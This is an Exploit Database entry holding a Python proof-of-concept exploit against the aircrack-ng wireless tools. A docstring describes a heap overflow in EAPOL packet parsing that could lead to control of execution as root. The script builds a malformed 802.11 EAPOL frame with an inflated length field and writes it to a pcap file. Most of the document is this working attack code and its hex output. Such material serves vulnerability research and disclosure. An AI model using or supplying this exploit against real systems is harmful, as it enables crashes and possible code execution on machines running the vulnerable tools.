Remote Exploit Against the Aircrack-NG Tools
OffSec’s Exploit Database Archive


                        
                        #!/usr/bin/env python
# -*- coding: UTF-8 -*-

''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.
    
    The tools' code responsible for parsing IEEE802.11-packets assumes the
    self-proclaimed length of a EAPOL-packet to be correct and never to exceed
    a (arbitrary) maximum size of 256 bytes for packets that are part of the
    EAPOL-authentication. We can exploit this by letting the code parse packets
    which:
     a) proclaim to be larger than they really are, possibly causing the code
        to read from invalid memory locations while copying the packet;
     b) really do exceed the maximum size allowed and overflow data structures
        allocated on the heap, overwriting libc's allocation-related
        structures. This causes heap-corruption.
    
    Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-
    path. Careful layout of the packet's content can even possibly alter the
    instruction-flow through the already well known heap-corruption paths
    in libc. Playing with the proclaimed length of the EAPOL-packet and the
    size and content of the packet's padding immediately end up in various
    assertion errors during calls to free(). This reveals the possibility to
    gain control over $EIP.
    
    Given that we have plenty of room for payload and that the tools are
    usually executed with root-privileges, we should be able to have a
    single-packet-own-everything exploit at our hands. As the attacker can
    cause the various tools to do memory-allocations at his will (through
    faking the appearance of previously unknown clients), the resulting
    exploit-code should have a high probability of success.

    The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev
    r238 to work. It generates pcap-file with single packet of the following
    content:
    
    0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0
    108000000000000000000000000000000000000000000000000000000000000000000000000
    000000000000000000000000000000000000000000000000000000000000000000000000000
    000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172
    3F

    03/27/2010, Lukas Lueg, lukas.lueg@gmail.com
'''

import cpyrit.pckttools
import scapy.layers

# A IEEE802.11-packet with LLC- and SNAP-header, looking like the second
# phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-
# packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and
# struct WPA_hdsk.
# We have plenty of room for exploit-payload as most of the fields in the
# EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent
# heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in
# case of airodump-ng...
pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00',       \
                                addr2='00:de:ad:c0:de:01',       \
                                FCfield='to-DS')                 \
       / scapy.layers.dot11.LLC()                                \
       / scapy.layers.dot11.SNAP()                               \
       / scapy.layers.l2.EAPOL(len=65000)                        \
       / cpyrit.pckttools.EAPOL_Key()                            \
       / cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \
       / scapy.packet.Padding(load='Can I has some moar?')

if __name__ == '__main__':
    print "Packet's content:"
    print ''.join("%02X" % ord(c) for c in str(pckt))
    filename = 'aircrackng_exploit.cap'
    print "Writing to '%s'" % filename
    writer = cpyrit.pckttools.Dot11PacketWriter(filename)
    writer.write(pckt)
    writer.close()
    print 'Done'
            

                    